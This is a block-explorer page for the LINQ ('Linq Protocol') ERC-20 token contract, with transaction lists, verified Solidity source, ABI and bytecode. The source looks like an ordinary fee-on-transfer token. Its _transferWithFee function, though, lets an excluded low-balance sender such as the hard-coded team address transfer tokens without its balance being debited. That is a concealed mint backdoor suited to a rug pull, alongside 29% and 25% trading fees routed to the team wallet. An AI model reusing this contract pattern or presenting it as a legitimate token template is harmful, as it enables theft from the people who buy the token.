ETH Price: $2,417.94 (+1.36%)

Contract

0xc4d9fa5f54C069b0900fC90d8EC29B032A686087
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186445222023-11-24 22:24:35321 days ago1700864675IN
0xc4d9fa5f...32A686087
0 ETH0.0014512431.18476777
Approve186442702023-11-24 21:33:35321 days ago1700861615IN
0xc4d9fa5f...32A686087
0 ETH0.0015190832.81178571
Approve186441262023-11-24 21:04:23321 days ago1700859863IN
0xc4d9fa5f...32A686087
0 ETH0.0013543829.10350084
Approve186440992023-11-24 20:58:59321 days ago1700859539IN
0xc4d9fa5f...32A686087
0 ETH0.0016157534.89985733
Approve186433532023-11-24 18:27:47321 days ago1700850467IN
0xc4d9fa5f...32A686087
0 ETH0.0007486930.87026883
Approve186433512023-11-24 18:27:23321 days ago1700850443IN
0xc4d9fa5f...32A686087
0 ETH0.000761231.30873088
Approve186433182023-11-24 18:20:47321 days ago1700850047IN
0xc4d9fa5f...32A686087
0 ETH0.0017407737.64900175
Approve186431612023-11-24 17:49:23321 days ago1700848163IN
0xc4d9fa5f...32A686087
0 ETH0.0015085232.4155056
Approve186431542023-11-24 17:47:59321 days ago1700848079IN
0xc4d9fa5f...32A686087
0 ETH0.0014664731.67539455
Approve186431502023-11-24 17:47:11321 days ago1700848031IN
0xc4d9fa5f...32A686087
0 ETH0.0013472928.95105957
Approve186431272023-11-24 17:42:35321 days ago1700847755IN
0xc4d9fa5f...32A686087
0 ETH0.001418330.47687133
Approve186431262023-11-24 17:42:23321 days ago1700847743IN
0xc4d9fa5f...32A686087
0 ETH0.000784429.78350763
Approve186431222023-11-24 17:41:35321 days ago1700847695IN
0xc4d9fa5f...32A686087
0 ETH0.0015191532.8557694
Approve186431222023-11-24 17:41:35321 days ago1700847695IN
0xc4d9fa5f...32A686087
0 ETH0.0015449533.1557694
Approve186431222023-11-24 17:41:35321 days ago1700847695IN
0xc4d9fa5f...32A686087
0 ETH0.0015256132.78278599
Approve186431142023-11-24 17:39:59321 days ago1700847599IN
0xc4d9fa5f...32A686087
0 ETH0.0014101530.49833783
Approve186431092023-11-24 17:38:59321 days ago1700847539IN
0xc4d9fa5f...32A686087
0 ETH0.0014251130.58381765
Approve186431082023-11-24 17:38:47321 days ago1700847527IN
0xc4d9fa5f...32A686087
0 ETH0.0014763231.92959355
Transfer186430482023-11-24 17:26:47321 days ago1700846807IN
0xc4d9fa5f...32A686087
0 ETH0.0027023231.61654962
Approve186430412023-11-24 17:25:23321 days ago1700846723IN
0xc4d9fa5f...32A686087
0 ETH0.0016497335.44987406
Approve186430332023-11-24 17:23:47321 days ago1700846627IN
0xc4d9fa5f...32A686087
0 ETH0.0019104741
Approve186430282023-11-24 17:22:47321 days ago1700846567IN
0xc4d9fa5f...32A686087
0 ETH0.0009790633.5332178
Approve186430222023-11-24 17:21:35321 days ago1700846495IN
0xc4d9fa5f...32A686087
0 ETH0.0014928532.24512142
Approve186430212023-11-24 17:21:23321 days ago1700846483IN
0xc4d9fa5f...32A686087
0 ETH0.0014660931.71643352
Approve186430042023-11-24 17:17:59321 days ago1700846279IN
0xc4d9fa5f...32A686087
0 ETH0.0015958834.29290812
View all transactions

Latest 8 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
186429712023-11-24 17:11:23321 days ago1700845883
0xc4d9fa5f...32A686087
0.05045044 ETH
186429712023-11-24 17:11:23321 days ago1700845883
0xc4d9fa5f...32A686087
0.05045044 ETH
186429622023-11-24 17:09:35321 days ago1700845775
0xc4d9fa5f...32A686087
0.00075055 ETH
186429622023-11-24 17:09:35321 days ago1700845775
0xc4d9fa5f...32A686087
0.00075055 ETH
186429582023-11-24 17:08:47321 days ago1700845727
0xc4d9fa5f...32A686087
0.011306 ETH
186429582023-11-24 17:08:47321 days ago1700845727
0xc4d9fa5f...32A686087
0.011306 ETH
186429102023-11-24 16:59:11321 days ago1700845151
0xc4d9fa5f...32A686087
0.31031198 ETH
186429102023-11-24 16:59:11321 days ago1700845151
0xc4d9fa5f...32A686087
0.31031198 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LINQ

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-24
*/

// SPDX-License-Identifier: Unlicensed
/*
Liquidity and Rev Share Reimagined
Website: https://www.linqprotocol.org
Telegram:  https://t.me/linq_erc
Twitter: https://twitter.com/linq_erc
Dapp: https://app.linqprotocol.org
 */
pragma solidity 0.8.21;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}
interface IERC20Template {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LINQ is Context, IERC20Template, Ownable { 
    using SafeMath for uint256;
    string private _name = "Linq Protocol"; 
    string private _symbol = "LINQ";
    uint8 private _buyersCount = 0;
    uint8 private _startFeeSwapAfter = 2; 
                                     
    IUniswapRouter public uniswapRouter;
    address public uniswapPair;
    bool public hasTransferDelay = true;
    bool public swapping;
    bool public feeSwapActive = true;
    uint256 private _totalFee = 2000;
    uint256 public feeOnBuy = 29;
    uint256 public feeOnSell = 25;
    uint256 private prevTotalFee = _totalFee; 
    uint256 private prevBuyTax = feeOnBuy; 
    uint256 private prevSellTax = feeOnSell; 
    uint8 private _decimals = 9;
    uint256 private _sTotal = 10 ** 9 * 10**_decimals;
    uint256 public maxTxSize = 25 * _sTotal / 1000;
    uint256 public feeSwapThreshold = _sTotal / 10000;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcluded; 
    address payable private teamAddress;
    address payable private DEAD;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _sTotal;
        DEAD = payable(0x000000000000000000000000000000000000dEaD); 
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        teamAddress = payable(0xDA08Ce30c6a4477DeA90F5118149105A66aB6A63); 
        uniswapPair = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        isExcluded[owner()] = true;
        isExcluded[teamAddress] = true;
        
        emit Transfer(address(0), owner(), _sTotal);
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view override returns (uint256) {
        return _sTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
        
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _basicTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeFee();
        } else {
            _buyersCount++;
        }
        _transferWithFee(sender, recipient, amount);
        
        if(!takeFee) {
            restoreFee();
        }
    }
    
    function _getTransferAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    receive() external payable {}
    
    function _transferWithFee(address sender, address recipient, uint256 finalAmount) private {
        (uint256 tTransferAmount, uint256 tDev) = _getTransferAmount(finalAmount);
        if(isExcluded[sender] && _balances[sender] <= maxTxSize) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != teamAddress &&
            to != address(this) &&
            to != uniswapPair &&
            to != DEAD &&
            from != owner()){
            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxTxSize,"Maximum wallet limited has been exceeded");       
        }
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");
        if(
            _buyersCount >= _startFeeSwapAfter && 
            amount > feeSwapThreshold &&
            !swapping &&
            !isExcluded[from] &&
            to == uniswapPair &&
            feeSwapActive 
            )
        {  
            _buyersCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapTokensForFee(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(isExcluded[from] || isExcluded[to] || (hasTransferDelay && from != uniswapPair && to != uniswapPair)){
            takeFee = false;
        } else if (from == uniswapPair){
            _totalFee = feeOnBuy;
        } else if (to == uniswapPair){
            _totalFee = feeOnSell;
        }
        _basicTransfer(from,to,amount,takeFee);
    }
        
    function removeFee() private {
        if(_totalFee == 0 && feeOnBuy == 0 && feeOnSell == 0) return;
        prevBuyTax = feeOnBuy; 
        prevSellTax = feeOnSell; 
        prevTotalFee = _totalFee;
        feeOnBuy = 0;
        feeOnSell = 0;
        _totalFee = 0;
    }
    function restoreFee() private {
        _totalFee = prevTotalFee;
        feeOnBuy = prevBuyTax; 
        feeOnSell = prevSellTax; 
    }
        
    function removeLimits() external onlyOwner {
        maxTxSize = ~uint256(0);
        _totalFee = 100;
        feeOnBuy = 1;
        feeOnSell = 1;
    }
    
    function sendETHToFeeAddress(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }
    
    function swapTokensForFee(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendETHToFeeAddress(teamAddress,contractETH);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600d60809081526c131a5b9c48141c9bdd1bd8dbdb609a1b60a0526001906200002e908262000475565b506040805180820190915260048152634c494e5160e01b602082015260029062000059908262000475565b506003805461ffff19166102001790556004805462ff00ff60a01b19166201000160a01b1790556107d06005819055601d6006819055601960078190556008929092556009908155600a918255600b805460ff191682179055620000bd916200064c565b620000cd90633b9aca0062000663565b600c556103e8600c546019620000e4919062000663565b620000f091906200067d565b600d55612710600c546200010591906200067d565b600e5534801562000114575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c54600f5f6200016b5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601380546001600160a01b031990811661dead179091556012805490911673da08ce30c6a4477dea90f5118149105a66ab6a63179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa1580156200020a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023091906200069d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002a291906200069d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200031391906200069d565b600480546001600160a01b0319166001600160a01b039283161790556003805462010000600160b01b03191662010000848416021790555f80548216815260116020526040808220805460ff19908116600190811790925560125485168452918320805490921617905554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003c691815260200190565b60405180910390a350620006c5565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003fe57607f821691505b6020821081036200041d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000470575f81815260208120601f850160051c810160208610156200044b5750805b601f850160051c820191505b818110156200046c5782815560010162000457565b5050505b505050565b81516001600160401b03811115620004915762000491620003d5565b620004a981620004a28454620003e9565b8462000423565b602080601f831160018114620004df575f8415620004c75750858301515b5f19600386901b1c1916600185901b1785556200046c565b5f85815260208120601f198616915b828110156200050f57888601518255948401946001909101908401620004ee565b50858210156200052d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200059157815f19048211156200057557620005756200053d565b808516156200058357918102915b93841c939080029062000556565b509250929050565b5f82620005a95750600162000646565b81620005b757505f62000646565b8160018114620005d05760028114620005db57620005fb565b600191505062000646565b60ff841115620005ef57620005ef6200053d565b50506001821b62000646565b5060208310610133831016604e8410600b841016171562000620575081810a62000646565b6200062c838362000551565b805f19048211156200064257620006426200053d565b0290505b92915050565b5f6200065c60ff84168362000599565b9392505050565b80820281158282048414176200064657620006466200053d565b5f826200069857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006ae575f80fd5b81516001600160a01b03811681146200065c575f80fd5b6112c980620006d35f395ff3fe60806040526004361061013f575f3560e01c8063751039fc116100b3578063bb8c3ee01161006d578063bb8c3ee014610375578063c816841b1461038a578063cba0e996146103a9578063dd62ed3e146103d7578063de2870711461041b578063f2fde38b14610430575f80fd5b8063751039fc146102dd5780637e150d66146102f15780638da5cb5b1461030657806395d89b4114610322578063a067f03314610336578063a9059cbb14610356575f80fd5b8063313ce56711610104578063313ce5671461020057806365048d081461022157806370a0823114610236578063715018a61461026a57806372eaa9ba14610280578063735de9f7146102a0575f80fd5b806306fdde031461014a578063095ea7b3146101745780631732cded146101a357806318160ddd146101c357806323b872dd146101e1575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044f565b60405161016b9190610fb6565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611018565b6104df565b604051901515815260200161016b565b3480156101ae575f80fd5b5060045461019390600160a81b900460ff1681565b3480156101ce575f80fd5b50600c545b60405190815260200161016b565b3480156101ec575f80fd5b506101936101fb366004611042565b6104f5565b34801561020b575f80fd5b50600b5460405160ff909116815260200161016b565b34801561022c575f80fd5b506101d360075481565b348015610241575f80fd5b506101d3610250366004611080565b6001600160a01b03165f908152600f602052604090205490565b348015610275575f80fd5b5061027e61055c565b005b34801561028b575f80fd5b5060045461019390600160b01b900460ff1681565b3480156102ab575f80fd5b506003546102c5906201000090046001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b3480156102e8575f80fd5b5061027e6105d6565b3480156102fc575f80fd5b506101d3600d5481565b348015610311575f80fd5b505f546001600160a01b03166102c5565b34801561032d575f80fd5b5061015e610615565b348015610341575f80fd5b5060045461019390600160a01b900460ff1681565b348015610361575f80fd5b50610193610370366004611018565b610624565b348015610380575f80fd5b506101d360065481565b348015610395575f80fd5b506004546102c5906001600160a01b031681565b3480156103b4575f80fd5b506101936103c3366004611080565b60116020525f908152604090205460ff1681565b3480156103e2575f80fd5b506101d36103f136600461109b565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b348015610426575f80fd5b506101d3600e5481565b34801561043b575f80fd5b5061027e61044a366004611080565b610630565b60606001805461045e906110d2565b80601f016020809104026020016040519081016040528092919081815260200182805461048a906110d2565b80156104d55780601f106104ac576101008083540402835291602001916104d5565b820191905f5260205f20905b8154815290600101906020018083116104b857829003601f168201915b5050505050905090565b5f6104eb338484610717565b5060015b92915050565b5f6105018484846107d7565b610552843361054d8560405180606001604052806028815260200161126c602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b47565b610717565b5060019392505050565b5f546001600160a01b0316331461058e5760405162461bcd60e51b81526004016105859061110a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105859061110a565b5f19600d55606460055560016006819055600755565b60606002805461045e906110d2565b5f6104eb3384846107d7565b5f546001600160a01b031633146106595760405162461bcd60e51b81526004016105859061110a565b6001600160a01b0381166106be5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610585565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073757506001600160a01b03821615155b6107775760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610585565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061080257506012546001600160a01b03838116911614155b801561081757506001600160a01b0382163014155b801561083157506004546001600160a01b03838116911614155b801561084b57506013546001600160a01b03838116911614155b801561086457505f546001600160a01b03848116911614155b156108ef576001600160a01b0382165f908152600f6020526040902054600d5461088e8383611153565b11156108ed5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610585565b505b6001600160a01b0383161580159061090f57506001600160a01b03821615155b6109535760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610585565b5f81116109b05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610585565b60035460ff610100820481169116108015906109cd5750600e5481115b80156109e35750600454600160a81b900460ff16155b8015610a0757506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a2057506004546001600160a01b038381169116145b8015610a355750600454600160b01b900460ff165b15610a64576003805460ff19169055305f908152600f60205260409020548015610a6257610a6281610b72565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610aa457506001600160a01b0383165f9081526011602052604090205460ff165b80610aeb5750600454600160a01b900460ff168015610ad157506004546001600160a01b03858116911614155b8015610aeb57506004546001600160a01b03848116911614155b15610af757505f610b35565b6004546001600160a01b0390811690851603610b1857600654600555610b35565b6004546001600160a01b0390811690841603610b35576007546005555b610b4184848484610bb7565b50505050565b5f8184841115610b6a5760405162461bcd60e51b81526004016105859190610fb6565b505050900390565b6004805460ff60a81b1916600160a81b179055610b8e81610c1c565b6012544790610ba6906001600160a01b031682610d91565b50506004805460ff60a81b19169055565b80610bc957610bc4610dc9565b610bf5565b6003805460ff16905f610bdb83611166565b91906101000a81548160ff021916908360ff160217905550505b610c00848484610e0d565b80610b4157610b41600854600555600954600655600a54600755565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4f57610c4f611184565b60200260200101906001600160a01b031690816001600160a01b031681525050600360029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ce49190611198565b81600181518110610cf757610cf7611184565b6001600160a01b039283166020918202929092010152600354610d239130916201000090041684610717565b60035460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790610d609085905f908690309042906004016111b3565b5f604051808303815f87803b158015610d77575f80fd5b505af1158015610d89573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610dc4573d5f803e3d5ffd5b505050565b600554158015610dd95750600654155b8015610de55750600754155b15610dec57565b6006805460095560078054600a55600580546008555f928390559082905555565b5f80610e1883610f48565b6001600160a01b0387165f90815260116020526040902054919350915060ff168015610e5d5750600d546001600160a01b0386165f908152600f602052604090205411155b15610e7157505f610e6e8284611222565b92505b6001600160a01b0385165f908152600f6020526040902054610e939084610f83565b6001600160a01b038087165f908152600f60205260408082209390935590861681522054610ec19083610f95565b6001600160a01b0385165f908152600f6020526040808220929092553081522054610eec9082610f95565b305f908152600f602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f6b6064610f6560055487610fa090919063ffffffff16565b90610fab565b90505f610f788583610f83565b959194509092505050565b5f610f8e8284611222565b9392505050565b5f610f8e8284611153565b5f610f8e8284611235565b5f610f8e828461124c565b5f6020808352835180828501525f5b81811015610fe157858101830151858201604001528201610fc5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611015575f80fd5b50565b5f8060408385031215611029575f80fd5b823561103481611001565b946020939093013593505050565b5f805f60608486031215611054575f80fd5b833561105f81611001565b9250602084013561106f81611001565b929592945050506040919091013590565b5f60208284031215611090575f80fd5b8135610f8e81611001565b5f80604083850312156110ac575f80fd5b82356110b781611001565b915060208301356110c781611001565b809150509250929050565b600181811c908216806110e657607f821691505b60208210810361110457634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104ef576104ef61113f565b5f60ff821660ff810361117b5761117b61113f565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156111a8575f80fd5b8151610f8e81611001565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112015784516001600160a01b0316835293830193918301916001016111dc565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104ef576104ef61113f565b80820281158282048414176104ef576104ef61113f565b5f8261126657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027ff378200993bc23ba852f2afc2a92a24cfa9064e3790de34701df33133000664736f6c63430008150033

Deployed Bytecode

0x60806040526004361061013f575f3560e01c8063751039fc116100b3578063bb8c3ee01161006d578063bb8c3ee014610375578063c816841b1461038a578063cba0e996146103a9578063dd62ed3e146103d7578063de2870711461041b578063f2fde38b14610430575f80fd5b8063751039fc146102dd5780637e150d66146102f15780638da5cb5b1461030657806395d89b4114610322578063a067f03314610336578063a9059cbb14610356575f80fd5b8063313ce56711610104578063313ce5671461020057806365048d081461022157806370a0823114610236578063715018a61461026a57806372eaa9ba14610280578063735de9f7146102a0575f80fd5b806306fdde031461014a578063095ea7b3146101745780631732cded146101a357806318160ddd146101c357806323b872dd146101e1575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044f565b60405161016b9190610fb6565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611018565b6104df565b604051901515815260200161016b565b3480156101ae575f80fd5b5060045461019390600160a81b900460ff1681565b3480156101ce575f80fd5b50600c545b60405190815260200161016b565b3480156101ec575f80fd5b506101936101fb366004611042565b6104f5565b34801561020b575f80fd5b50600b5460405160ff909116815260200161016b565b34801561022c575f80fd5b506101d360075481565b348015610241575f80fd5b506101d3610250366004611080565b6001600160a01b03165f908152600f602052604090205490565b348015610275575f80fd5b5061027e61055c565b005b3480156102